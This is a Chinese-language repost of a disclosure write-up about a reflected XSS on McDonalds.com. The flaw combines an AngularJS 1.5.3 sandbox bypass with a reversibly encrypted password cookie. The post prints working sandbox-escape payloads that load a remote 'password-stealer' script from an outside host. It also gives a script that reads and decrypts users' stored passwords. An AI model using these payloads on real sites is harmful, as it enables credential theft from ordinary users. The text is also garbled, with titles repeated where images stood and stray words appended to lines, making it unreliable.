重磅:利用麥當勞網站的漏洞獲取用戶密碼

導讀 本文講述了利用不安全的加密存儲(Insecure_Cryptographic_Storage)漏洞和服務端反射型XSS漏洞,實現對麥當勞網站(McDonalds.com)註冊用戶的密碼竊取,進一步測試,還可能獲取到網站註冊用戶的更多信息。

POC-利用反射型XSS漏洞繞過AngularJS框架沙箱html

麥當勞網站McDonalds.com設置有一個搜索頁面,該頁面存在XSS反射型漏洞,能夠返回搜索參數值,假設搜索參數q爲***********-test-reflected-test-***********,對應連接:
https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********linux

則執行效果以下:
重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼瀏覽器

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

麥當勞網站採用AngularJS框架,因此可使用特殊字符在搜索區域進行返回值嘗試。經過更改搜索參數q爲{{$id}}以後,發現返回值對應AngularJS範圍內的對應ID數字9:安全

Link used: https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}cookie

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

AngularJS是一個流行的JavaScript框架,經過這個框架能夠把表達式放在花括號中嵌入到頁面中。例如,表達式1+2={{1+2}}將會獲得1+2=3。其中括號中的表達式被執行了,這就意味着,若是服務端容許用戶輸入的參數中帶有花括號,咱們就能夠用Angular表達式來進行xss攻擊。app

因爲AngularJS工做在沙箱模式,因此使用參數{{alert(1)}}無任何返回信息,但這並不表明AngularJS沙箱沒有漏洞。在 AngularJS1.6版本中,因爲沙箱機制不能很好地起到安全防禦目的,已經被從源碼中移除。而PortSwigger還對AngularJS的各版本沙箱進行了繞過測試,並給出了相應繞過執行命令。框架

在這裏,咱們來看看McDonalds.com使用的AngularJS版本,經過在瀏覽器控制端輸入angular.version命令:
重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼xss

能夠發現AngularJS爲1.5.3版本,參照PortSwigger的測試,咱們選用函數

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

做爲搜索參數,很驚喜,返回值以下:
重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼源碼分析

這就意味着,咱們能夠利用繞過命令,對網站加載外部JS腳本文件,如構造以下命令:

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

在內容安全策略(Content-Security-Policy)的提示下,第三方腳本文件被成功加載。

竊取密碼

除此以外,我在麥當勞網站的註冊頁面發現了複選框「Remember my password」,一般來講,這隻有在用戶登陸頁面才存在,有點奇怪:

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

在該頁面的源代碼頁面,包含了各類passowrd字段內容,甚至存在一個有趣的密碼解密函數:
重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

最危險的是,利用該解密函數代碼居然能夠實現對客戶端或雙向加密存儲的密碼破解。嘗試對發現的被存儲Cookie值penc進行解密,居然成功了!

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

並且,經分析發現,Cookie值penc的存儲期限是大大的一年!LOL!

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

另外,如下的源碼分析顯示,麥當勞網站使用了Javascript的CryptoJS加密庫進行信息加密,加密方式爲3DES,其中加密參數key和iv都爲通用,這意味着只須要獲取到cookie值就能對密碼解密:

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

因爲AngularJS沙箱繞過方法只對charAt的join方法(charAt=[].join;$eval(‘x=alert(1)’))有效,因此即便我曾嘗試在搜索區域構造其它惡意命令對cookie信息進行解密,但最終老是由於getCookie失敗而無效。只有當charAt(0) 不爲空時,getCookie纔有返回值:

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

最後,我寫了一段調用麥當勞網站首頁框架進行cookie竊取的腳本,爲了不腳本因AngularJS沙箱被繞過而被反覆執行,因此,我用window.xssIsExecuted對其進行了顯示控制,以下:

if (!window.xssIsExecuted) {
 
    window.xssIsExecuted = true;
 
    var iframe = $('網址'>'); $('body').append(iframe); iframe.on('load', function() { var penc = iframe[0].contentWindow.getCookie('penc'); alert(iframe[0].contentWindow.decrypt(penc)); }); }

最終,配合如下AngularJS沙箱繞過命令,能夠成功從cookie信息中對密碼解密!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}

重磅:利用麥當勞網站的漏洞獲取用戶密碼重磅:利用麥當勞網站的漏洞獲取用戶密碼

遺憾的是,我曾屢次與麥當勞官方就此問題進行聯繫,可是他們居然都不迴應!@#%¥&! ,因此我選擇把此漏洞公開。

原文來自:http://www.tiejiang.org/16067.html

本文地址:http://www.linuxprobe.com/mcdonald-vulnerability-password.html

相關文章
相關標籤/搜索